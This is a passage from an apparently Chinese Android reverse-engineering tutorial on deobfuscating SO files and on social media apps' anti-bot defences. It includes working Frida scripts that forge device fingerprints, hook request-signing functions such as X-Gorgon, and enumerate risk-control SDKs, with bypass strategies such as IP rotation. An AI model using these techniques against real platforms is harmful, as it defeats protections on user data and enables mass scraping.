diff_traces(self, trace_a, trace_b): \"\"\"对比两条追踪，找到数据依赖的关键指令\"\"\" key_instructions = [] for i in range(min(len(trace_a), len(trace_b))): a, b = trace_a[i], trace_b[i] if a['offset'] == b['offset']: # 同一条指令，但寄存器值不同 → 数据依赖 if a['x0'] != b['x0'] or a['x1'] != b['x1']: key_instructions.append({ 'offset': a['offset'], 'mnemonic': a['mnemonic'], 'is_data_dependent': True }) return key_instructions def reconstruct_algorithm(self, key_instructions): \"\"\"根据关键指令重建算法\"\"\" ops = [] for inst in key_instructions: if inst['mnemonic'] == 'eor': ops.append('XOR') elif inst['mnemonic'] == 'add': ops.append('ADD') elif inst['mnemonic'] in ['lsl', 'lsr', 'ror']: ops.append(f'SHIFT({inst[\"mnemonic\"]})') # ... print(\"[+] 算法操作序列:\", \" → \".join(ops)) return ops ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:14:3","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#步骤-3-多输入对比分析"},{"categories":null,"collections":null,"content":"步骤 4: 生成等价 Python 实现 def generate_python_equivalent(trace, known_io_pairs): \"\"\" 根据追踪结果和已知输入输出生成等价 Python 代码 实战技巧： 1. 先用简单输入 (如 0x00000001) 追踪，观察常量 2. 再用全 FF 输入，观察位运算行为 3. 用递增输入 (1,2,3...) 确认线性关系 \"\"\" # 从 trace 中提取核心操作 core_ops = [t for t in trace if t.get('is_data_dependent')] code = \"def sign(data: bytes) -\u003e int:\\n\" code += \" # 从 OLLVM 混淆函数还原\\n\" code += \" result = int.from_bytes(data[:4], 'little')\\n\" for op in core_ops: if op['mnemonic'] == 'eor': code += f\" result ^= 0x{op.get('constant', 0):08X}\\n\" elif op['mnemonic'] == 'add': code += f\" result = (result + 0x{op.get('constant', 0):08X}) \u0026 0xFFFFFFFF\\n\" elif op['mnemonic'] == 'ror': code += f\" result = ror32(result, {op.get('shift', 0)})\\n\" code += \" return result\\n\" # 用已知 IO 对验证 for inp, expected_out in known_io_pairs: actual = eval(f\"sign({inp})\") status = \"pass\" if actual == expected_out else \"FAIL\" print(f\" {status} sign({inp}) = {actual:#x} (expected: {expected_out:#x})\") return code ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:14:4","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#步骤-4-生成等价-python-实现"},{"categories":null,"collections":null,"content":"通用去花流程 观察：在 IDA Pro 中观察可疑代码的模式 识别：找到该模式的通用机器码或指令特征 编码：编写脚本，精确地定位这些特征并进行修复 (Patch) 虽然花指令的变种层出不穷，但其本质是有限的。掌握了自动化的脚本去花能力，就能极大地提升 SO 文件逆向分析的效率。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:15:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#通用去花流程"},{"categories":null,"collections":null,"content":"相关链接 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:16:0","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#相关链接"},{"categories":null,"collections":null,"content":"相关配方 OLLVM 反混淆 - 处理控制流平坦化 (Z3/Angr 深入) 应用脱壳总览 - 脱壳后再去花 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:16:1","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#相关配方"},{"categories":null,"collections":null,"content":"工具深入 IDA Pro 使用指南 Ghidra 使用指南 💡 提示: 去花是一个需要耐心和经验的过程。建议先手动分析几个样本，理解混淆模式后再编写脚本自动化处理。面对高强度混淆 (如 VMP)，动态分析往往比纯静态分析更高效。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/:16:2","tags":["Ghidra","加固","脱壳","OLLVM","Android","反混淆","VMP","Unicorn","angr"],"title":"SO 文件反混淆：花指令识别与自动化去除","uri":"/reverse_engineering/android/01-recipes/unpacking/so_obfuscation_deobfuscation/#工具深入"},{"categories":null,"collections":null,"content":"社交媒体 App 与风控案例 📚 前置知识 本案例涉及以下核心技术，建议先阅读相关章节： 密码学分析 - 理解 API 签名算法的逆向方法 Frida 完整指南 - 使用 Hook 定位签名生成函数 反分析技术案例 - 理解 Root/Frida 检测原理与绕过 社交媒体 App（如 X、Instagram、TikTok）是爬虫和自动化工具最常光顾的地方。因此，这些 App 的开发者在客户端和服务器端都部署了极其复杂的安全与风控系统，以保护用户数据和平台生态。本案例将聚焦于这些 App 中常见的风控对抗技术。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:0:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#社交媒体-app-与风控案例"},{"categories":null,"collections":null,"content":"1. 社交媒体 App 逆向概述 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:1:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#1-社交媒体-app-逆向概述"},{"categories":null,"collections":null,"content":"1.1 主流社交 App 的防护体系 不同社交平台的防护侧重点和技术栈差异明显，但核心目标一致：阻止非官方客户端的自动化访问。以下是主流平台的防护特征对比： 平台 签名机制 设备指纹 风控 SDK Native 混淆 难度评级 TikTok/抖音 X-Gorgon / X-Argus / X-Ladon 多维度设备指纹 + 行为指纹 自研风控引擎 OLLVM + VMP ★★★★★ 微信 MMTLS 自定义协议 设备+网络指纹 自研 定制加密协议 ★★★★★ Instagram X-IG-Signature 设备 ID + Android ID Meta 风控 部分 SO 混淆 ★★★★ X (Twitter) OAuth + 自定义签名 客户端指纹 Arkose Labs 中度混淆 ★★★ 小红书 shield 签名 设备指纹 + 行为分析 自研 OLLVM ★★★★ 快手 sig / sig3 签名 多维度指纹 自研风控 VMP 保护 ★★★★ ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:1:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#11-主流社交-app-的防护体系"},{"categories":null,"collections":null,"content":"1.2 通用防护架构 ┌─────────────────────────────────────────────────────────────────────┐ │ 社交 App 安全防护架构 │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ 客户端层 │ │ ┌─────────────┐ ┌─────────────┐ ┌─────────────┐ │ │ │ 环境检测 │ │ 设备指纹 │ │ 请求签名 │ │ │ │ Root/Frida │ │ 采集上报 │ │ 算法生成 │ │ │ │ 模拟器检测 │ │ 唯一标识 │ │ 参数加密 │ │ │ └──────┬──────┘ └──────┬──────┘ └──────┬──────┘ │ │ │ │ │ │ │ ┌──────┴────────────────┴────────────────┴──────┐ │ │ │ Native SO 安全核心 │ │ │ │ (OLLVM / VMP / 自定义虚拟机保护) │ │ │ └───────────────────────┬───────────────────────┘ │ │ │ │ │ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ┼ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ ─ │ │ │ │ │ 服务端层 │ │ │ ┌─────────────┐ ┌─────┴───────┐ ┌─────────────┐ │ │ │ 签名验证 │ │ 风控引擎 │ │ 行为分析 │ │ │ │ 时效校验 │ │ 规则匹配 │ │ 异常检测 │ │ │ │ 防重放 │ │ 设备画像 │ │ 机器学习 │ │ │ └─────────────┘ └─────────────┘ └─────────────┘ │ │ │ └─────────────────────────────────────────────────────────────────────┘ ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:1:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#12-通用防护架构"},{"categories":null,"collections":null,"content":"1.3 逆向工作流总览 一个完整的社交 App 逆向项目通常遵循以下流程： 抓包分析 - 使用 Charles / mitmproxy 截获流量，识别关键参数 签名定位 - 通过 Frida Hook 网络库定位签名生成入口 算法逆向 - 静态分析 SO 中的签名算法，结合动态调试验证 设备指纹 - 分析并模拟设备指纹采集逻辑 签名复现 - 用 Python/Go 复现签名算法 风控对抗 - 设计反检测和反封禁策略 工程化 - 构建稳定可扩展的数据采集系统 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:1:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#13-逆向工作流总览"},{"categories":null,"collections":null,"content":"2. 设备指纹采集分析 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:2:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#2-设备指纹采集分析"},{"categories":null,"collections":null,"content":"2.1 设备指纹采集维度 社交 App 通常会采集数十甚至上百项设备信息，用于生成唯一的设备标识和风控画像。以下是常见的采集维度： 维度 采集内容 采集方式 风控用途 硬件信息 CPU 型号、核心数、频率 /proc/cpuinfo 读取 设备真实性验证 屏幕信息 分辨率、DPI、刷新率 DisplayMetrics API 模拟器检测 内存信息 总内存、可用内存 /proc/meminfo 设备画像 存储信息 总存储、可用空间 StatFs API 设备画像 网络信息 MAC 地址、IP、WiFi SSID NetworkInterface / WifiManager 网络环境识别 SIM 卡 IMSI、运营商、国家码 TelephonyManager 地理位置验证 传感器 加速度计、陀螺仪列表 SensorManager 模拟器检测 系统属性 Android 版本、Build 信息 Build 类 / getprop 设备指纹生成 应用列表 已安装 App 列表 PackageManager 用户画像/风控 电池信息 电量、充电状态、温度 BatteryManager 模拟器检测 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:2:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#21-设备指纹采集维度"},{"categories":null,"collections":null,"content":"2.2 识别指纹采集代码 指纹采集通常发生在 App 启动的早期阶段。以下 Frida 脚本可以监控常见的指纹采集行为： // monitor_fingerprint.js - 监控设备指纹采集行为 Java.perform(function () { // 1. 监控 Build 类的字段访问（最常见的指纹来源） var Build = Java.use(\"android.os.Build\"); var fields = [\"MODEL\", \"MANUFACTURER\", \"BRAND\", \"DEVICE\", \"PRODUCT\", \"HARDWARE\", \"BOARD\", \"FINGERPRINT\"]; fields.forEach(function (field) { // Build 类的字段是 static final，无法直接 Hook // 但可以通过 Hook 使用它们的代码间接发现 console.log(\"[Build] \" + field + \" = \" + Build[field].value); }); // 2. 监控 Settings.Secure（获取 Android ID 等） var Secure = Java.use(\"android.provider.Settings$Secure\"); Secure.getString.overload( \"android.content.ContentResolver\", \"java.lang.String\" ).implementation = function (resolver, name) { var result = this.getString(resolver, name); if (name === \"android_id\" || name === \"bluetooth_address\") { console.log(\"[Settings.Secure] \" + name + \" = \" + result); printStack(); } return result; }; // 3. 监控 TelephonyManager（获取 IMEI、IMSI 等） var TelephonyManager = Java.use(\"android.telephony.TelephonyManager\"); TelephonyManager.getDeviceId.overload().implementation = function () { var result = this.getDeviceId(); console.log(\"[TelephonyManager] getDeviceId = \" + result); printStack(); return result; }; // 4. 监控 WifiManager（获取 MAC 地址） var WifiInfo = Java.use(\"android.net.wifi.WifiInfo\"); WifiInfo.getMacAddress.implementation = function () { var result = this.getMacAddress(); console.log(\"[WifiInfo] getMacAddress = \" + result); printStack(); return result; }; // 5. 监控 SensorManager（传感器列表常用于模拟器检测） var SensorManager = Java.use(\"android.hardware.SensorManager\"); SensorManager.getSensorList.implementation = function (type) { var result = this.getSensorList(type); console.log(\"[SensorManager] getSensorList type=\" + type + \" count=\" + result.size()); return result; }; // 6. 监控文件读取（/proc/cpuinfo, /sys/ 等） var FileInputStream = Java.use(\"java.io.FileInputStream\"); FileInputStream.$init.overload(\"java.lang.String\").implementation = function (path) { if (path.indexOf(\"/proc/\") !== -1 || path.indexOf(\"/sys/\") !== -1) { console.log(\"[FileRead] \" + path); } return this.$init(path); }; function printStack() { console.log(Java.use(\"android.util.Log\").getStackTraceString( Java.use(\"java.lang.Exception\").$new() )); } }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:2:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#22-识别指纹采集代码"},{"categories":null,"collections":null,"content":"2.3 设备指纹生成流程 典型的设备指纹生成流程如下： ┌──────────────┐ ┌──────────────┐ ┌──────────────┐ │ 采集原始数据 │───\u003e│ 数据规范化 │───\u003e│ 哈希计算 │ │ Build 信息 │ │ 去除空值 │ │ MD5/SHA256 │ │ Android ID │ │ 统一编码 │ │ 生成 device │ │ MAC/IMEI │ │ 排序拼接 │ │ _id │ │ 传感器列表 │ │ │ │ │ └──────────────┘ └──────────────┘ └──────┬───────┘ │ ┌──────┴───────┐ │ 加密上报 │ │ 存入本地 │ │ SharedPrefs │ └──────────────┘ 关键点: 许多 App 会在 Native 层（SO 文件）中完成指纹的最终计算，以避免 Java 层被轻松 Hook。定位这些 SO 中的指纹生成函数是逆向的重要一步。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:2:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#23-设备指纹生成流程"},{"categories":null,"collections":null,"content":"2.4 伪造设备指纹 当需要模拟多台设备时，必须伪造一套一致的设备指纹： // fake_device.js - 伪造设备指纹 Java.perform(function () { // 修改 Build 类的静态字段 var Build = Java.use(\"android.os.Build\"); Build.MODEL.value = \"Pixel 7 Pro\"; Build.MANUFACTURER.value = \"Google\"; Build.BRAND.value = \"google\"; Build.PRODUCT.value = \"cheetah\"; Build.DEVICE.value = \"cheetah\"; Build.HARDWARE.value = \"tensor\"; Build.FINGERPRINT.value = \"google/cheetah/cheetah:14/AP2A.240305.019.A1/\" + \"11373996:user/release-keys\"; // 修改 Build.VERSION 相关 var Version = Java.use(\"android.os.Build$VERSION\"); Version.SDK_INT.value = 34; Version.RELEASE.value = \"14\"; // 伪造 Android ID var Secure = Java.use(\"android.provider.Settings$Secure\"); Secure.getString.overload( \"android.content.ContentResolver\", \"java.lang.String\" ).implementation = function (resolver, name) { if (name === \"android_id\") { return generateRandomHex(16); } return this.getString(resolver, name); }; function generateRandomHex(length) { var chars = \"0123456789abcdef\"; var result = \"\"; for (var i = 0; i \u003c length; i++) { result += chars.charAt(Math.floor(Math.random() * 16)); } return result; } }); 注意: 设备指纹的各项参数之间存在关联性。例如 Build.MODEL 为 Pixel 7 Pro 但 Build.HARDWARE 为 exynos 会立刻被风控系统识别为伪造。伪造指纹时必须保持各字段的逻辑一致性。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:2:4","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#24-伪造设备指纹"},{"categories":null,"collections":null,"content":"3. 请求签名算法逆向 💡 思路一句话: 抓包找到签名参数 → jadx/IDA 搜索参数名定位生成代码 → 追踪 Java→JNI→native 调用链 → Frida hook 验证每一层的输入输出。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:3:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#3-请求签名算法逆向"},{"categories":null,"collections":null,"content":"3.1 核心分析目标 几乎所有社交 App 的核心 API 请求都包含一个或多个签名参数（如 X-Signature, X-Gorgon）。这些签名是请求合法性的证明，也是逆向的主要目标。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:3:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#31-核心分析目标"},{"categories":null,"collections":null,"content":"3.2 定位签名参数 目标: 识别出 API 请求中哪个参数是签名。 网络抓包: 使用 Charles 或 Mitmproxy 拦截 App 的网络流量。刷新首页动态（timeline）的请求是最好的分析对象，因为它通常包含了最复杂的签名。 观察请求: 查看一个典型的 API 请求，例如 /api/v2/feed。你会注意到其 URL 参数或请求头 (Headers) 中存在一些看起来像哈希值的、无明显语义的参数。 URL 参数: ...\u0026mas=01\u0026as=a1...\u0026ts=166...\u0026ssmix=a... 请求头: X-Gorgon: 0404..., X-Khronos: 166... 参数筛选: 通过多次重复请求，比较参数的变化规律。 不变的: device_id, os_version 等，通常是设备指纹的一部分。 随时间变化的: ts, X-Khronos 等，通常是时间戳。 每次请求都随机变化的: mas, as, X-Gorgon 等，这些就是我们要找的核心签名。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:3:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#32-定位签名参数"},{"categories":null,"collections":null,"content":"3.3 X-Gorgon / X-Argus 风格签名分析 以某短视频 App 为例，其请求头中典型的签名参数结构如下： X-Gorgon: 0404b0d20000e3c70e15e5b91a7c9f35c7828beb8bc99b056770 X-Khronos: 1709123456 X-Argus: vFYJBRsBIgoIa0MVF18yKC8HAQovHgkhCgRgJxUu...（Base64 编码） X-Ladon: z/5OBQACDwIOCQ0LBw...（Base64 编码） X-Tyhon: （较新版本出现的参数） 签名生成的一般流程: ┌───────────────────────────────────────────────────┐ │ 签名生成流程 │ │ │ │ 1. 收集输入 │ │ ┌──────────────────────────────────────────────┐ │ │ │ URL Path + Query String (排序后) │ │ │ │ POST Body (如果有) │ │ │ │ Cookie 值 │ │ │ │ 当前时间戳 │ │ │ └──────────────────┬───────────────────────────┘ │ │ │ │ │ 2. 预处理 ▼ │ │ ┌──────────────────────────────────────────────┐ │ │ │ 对各输入分别计算 MD5 │ │ │ │ url_md5 = MD5(sorted_query_string) │ │ │ │ body_md5 = MD5(post_body) │ │ │ │ cookie_md5 = MD5(cookie_str) │ │ │ └──────────────────┬───────────────────────────┘ │ │ │ │ │ 3. 组装输入 ▼ │ │ ┌──────────────────────────────────────────────┐ │ │ │ 合并为固定格式的字节数组: │ │ │ │ [magic_bytes][timestamp][url_md5] │ │ │ │ [body_md5][cookie_md5][session_key] │ │ │ └──────────────────┬───────────────────────────┘ │ │ │ │ │ 4. Native 加密 ▼ │ │ ┌──────────────────────────────────────────────┐ │ │ │ 调用 SO 中的核心签名函数 │ │ │ │ 多轮异或 + 查表 + 自定义变换 │ │ │ │ 生成最终签名字节 │ │ │ └──────────────────┬───────────────────────────┘ │ │ │ │ │ 5. 输出 ▼ │ │ ┌──────────────────────────────────────────────┐ │ │ │ X-Gorgon = hex(签名字节) │ │ │ │ X-Khronos = timestamp │ │ │ └──────────────────────────────────────────────┘ │ └───────────────────────────────────────────────────┘ ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:3:3","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#33-x-gorgon--x-argus-风格签名分析"},{"categories":null,"collections":null,"content":"3.4 定位签名生成代码 目标: 找到在客户端生成这些签名的代码。这是整个流程中最关键、也最困难的一步。 全局搜索: 在 jadx-gui 中，全局搜索上一步识别出的参数名，如 X-Gorgon。如果运气好，你能直接定位到构建网络请求的地方。 Hook 大法: 如果搜索无果（通常是因为参数名在代码中被加密或混淆了），Frida Hook 将是你的主力武器。 Hook 网络库: 从网络请求的源头入手。Hook OkHttp 的 Request.Builder.addHeader 或 url() 方法，打印出调用栈。 // hook_sign_entry.js - 定位签名入口 Java.perform(function () { var Builder = Java.use(\"okhttp3.Request$Builder\"); Builder.addHeader.implementation = function (name, value) { if (name === \"X-Gorgon\") { console.log(\"=== Found X-Gorgon being added ===\"); console.log(\"Value: \" + value); console.log(\"Stack trace:\"); console.log( Java.use(\"android.util.Log\").getStackTraceString( Java.use(\"java.lang.Exception\").$new() ) ); } return this.addHeader(name, value); }; // 同时 Hook OkHttp 的 Interceptor var RealInterceptorChain = Java.use( \"okhttp3.internal.http.RealInterceptorChain\" ); RealInterceptorChain.proceed.overload( \"okhttp3.Request\" ).implementation = function (request) { var headers = request.headers(); for (var i = 0; i \u003c headers.size(); i++) { var name = headers.name(i); if (name.indexOf(\"X-\") === 0) { console.log(\"[Header] \" + name + \": \" + headers.value(i)); } } return this.proceed(request); }; }); 从调用栈追溯到 Native: 调用栈通常会指向一个 Java 方法，该方法内部通过 JNI 调用了 SO 中的签名函数。典型的路径如下： OkHttp Interceptor └─\u003e SignatureHelper.addSignature(Request) └─\u003e NativeHelper.generateSign(byte[]) // Java 声明 └─\u003e libsecurity.so::Java_com_xxx_NativeHelper_generateSign └─\u003e core_sign_function(...) // 真正的签名逻辑 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:3:4","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#34-定位签名生成代码"},{"categories":null,"collections":null,"content":"3.5 分析 SO 中的签名函数 当定位到关键的 SO 文件后，使用 Ghidra 或 IDA 进行分析： // hook_jni_sign.js - Hook JNI 签名函数，获取输入输出 Java.perform(function () { // 方法 1: 从 Java 层 Hook var NativeHelper = Java.use(\"com.example.app.NativeHelper\"); NativeHelper.generateSign.implementation = function (input) { console.log(\"=== generateSign called ===\"); console.log(\"Input (hex): \" + bytesToHex(input)); console.log(\"Input (utf8): \" + bytesToString(input)); var result = this.generateSign(input); console.log(\"Output (hex): \" + bytesToHex(result)); return result; }; // 方法 2: 直接 Hook SO 中的函数地址 var baseAddr = Module.findBaseAddress(\"libsecurity.so\"); if (baseAddr) { // 假设通过 IDA 分析已知偏移为 0x12340 var signFunc = baseAddr.add(0x12340); Interceptor.attach(signFunc, { onEnter: function (args) { console.log(\"=== Native sign function ===\"); // arg0 通常是 JNIEnv* // arg1 通常是 jclass 或 jobject // arg2 开始是实际参数 this.inputPtr = args[2]; this.inputLen = args[3].toInt32(); console.log(\"Input buffer: \" + hexdump(this.inputPtr, { length: this.inputLen })); }, onLeave: function (retval) { console.log(\"Return value: \" + retval); } }); } function bytesToHex(bytes) { var hex = []; for (var i = 0; i \u003c bytes.length; i++) { hex.push((\"0\" + (bytes[i] \u0026 0xff).toString(16)).slice(-2)); } return hex.join(\"\"); } function bytesToString(bytes) { var result = \"\"; for (var i = 0; i \u003c bytes.length; i++) { result += String.fromCharCode(bytes[i] \u0026 0xff); } return result; } }); ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:3:5","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#35-分析-so-中的签名函数"},{"categories":null,"collections":null,"content":"3.6 签名算法的常见模式 通过大量分析，社交 App 的签名算法通常遵循以下模式： 模式 描述 常见于 HMAC-SHA256 + Salt 标准 HMAC，密钥硬编码或动态获取 中小型 App 多轮 MD5 + 异或 对参数分段 MD5，再异或混合 早期版本的大型 App 自定义查表算法 使用预计算的 S-Box 进行字节替换 抖音 X-Gorgon Protobuf + 加密 参数序列化为 Protobuf 后整体加密 X-Argus 类型签名 TEA/XTEA 系列 轻量级分组加密 微信系 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:3:6","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#36-签名算法的常见模式"},{"categories":null,"collections":null,"content":"4. 反爬虫机制分析 💡 思路一句话: 从频率限制、设备指纹、行为分析三个维度理解风控体系 → 针对每层设计对应的绕过策略（IP 轮换、指纹伪造、行为模拟）。 ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:4:0","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#4-反爬虫机制分析"},{"categories":null,"collections":null,"content":"4.1 服务端风控维度 社交 App 的反爬虫机制是一个多层次的系统，涵盖以下维度： ┌────────────────────────────────────────────────────────────────┐ │ 服务端风控引擎 │ ├────────────────────────────────────────────────────────────────┤ │ │ │ 实时检测层 │ │ ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ │ │ 频率限制 │ │ 签名验证 │ │ 时效检查 │ │ 重放检测 │ │ │ │ Rate Limit │ │ Sign Check │ │ Timestamp │ │ Nonce │ │ │ └────────────┘ └────────────┘ └────────────┘ └────────────┘ │ │ │ │ 行为分析层 │ │ ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ │ │ 访问模式 │ │ 操作序列 │ │ 时间分布 │ │ 内容偏好 │ │ │ │ Pattern │ │ Sequence │ │ TimeGap │ │ Interest │ │ │ └────────────┘ └────────────┘ └────────────┘ └────────────┘ │ │ │ │ 设备画像层 │ │ ┌────────────┐ ┌────────────┐ ┌────────────┐ ┌────────────┐ │ │ │ 设备信誉 │ │ IP 信誉 │ │ 账号画像 │ │ 关联分析 │ │ │ │ DeviceRisk │ │ IPRisk │ │ AccountAge │ │ Graph │ │ │ └────────────┘ └────────────┘ └────────────┘ └────────────┘ │ │ │ └────────────────────────────────────────────────────────────────┘ ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:4:1","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#41-服务端风控维度"},{"categories":null,"collections":null,"content":"4.2 频率限制策略 # 频率限制的典型表现和应对 \"\"\" 常见的频率限制策略： 1. 固定窗口限制: - 每个 device_id 每分钟最多 30 次请求 - 超出后返回 429 或空数据 2. 滑动窗口限制: - 统计最近 60 秒内的请求数 - 动态调整限制阈值 3. 令牌桶策略: - 每秒恢复 N 个令牌 - 允许突发但限制持续高频 4. 渐进式惩罚: - 第 1 次超限: 降低数据质量（返回部分字段） - 第 2 次超限: 触发验证码 - 第 3 次超限: 临时封禁 device_id - 持续违规: 永久封禁 + 关联封禁 \"\"\" ","date":"2025-02-13","objectID":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/:4:2","tags":["Native层","签名验证","Frida","案例分析","代理池","Ghidra"],"title":"社交媒体 App 与风控案例","uri":"/reverse_engineering/android/03-case-studies/case_social_media_and_anti_bot/#42-频率限制策略"},{"categories":null,"collections":null,"content":"4.3 风控 SDK 识别 许多 App 集成了第三方风控 SDK，可以通过以下方法识别： // identify_risk_sdk.js - 识别风控 SDK Java.perform(function () { // 列出加载的所有 SO 文件 Process.enumerateModules({ onMatch: function (module) { var name = module.name.toLowerCase(); // 常见风控 SDK 的 SO 文件特征 var riskSdks = { \"libmsaoaidsec\": \"阿里系风控 (EMAS)\", \"libsecuritybodybridge\": \"字节系风控\", \"libtnet\": \"阿里网络安全库\", \"libsgmain\": \"阿里安全组件\", \"libBugly\": \"腾讯 Bugly\", \"libwbsafeedit\": \"微博安全\", \"libDexHelper\": \"风控辅助\", }; for (var key in riskSdks) { if (name.indexOf(key.toLowerCase()) !== -1) { console.log(\"[Risk SDK] \" + riskSdks[key] + \" -\u003e \" + module.name + \" @ \" + module.base); } } }, onComplete: function () { console.log(\"[*] Module scan complete.\"); } }); // 列出与风控相关的 Java 类 Java.enumerateLoadedClasses({ onMatch: function (className) { var patterns = [ \"com.bytedance.frameworks.encryptor\", \"com.ss.android.deviceregister\", \"com.alibaba.wireless.security\", 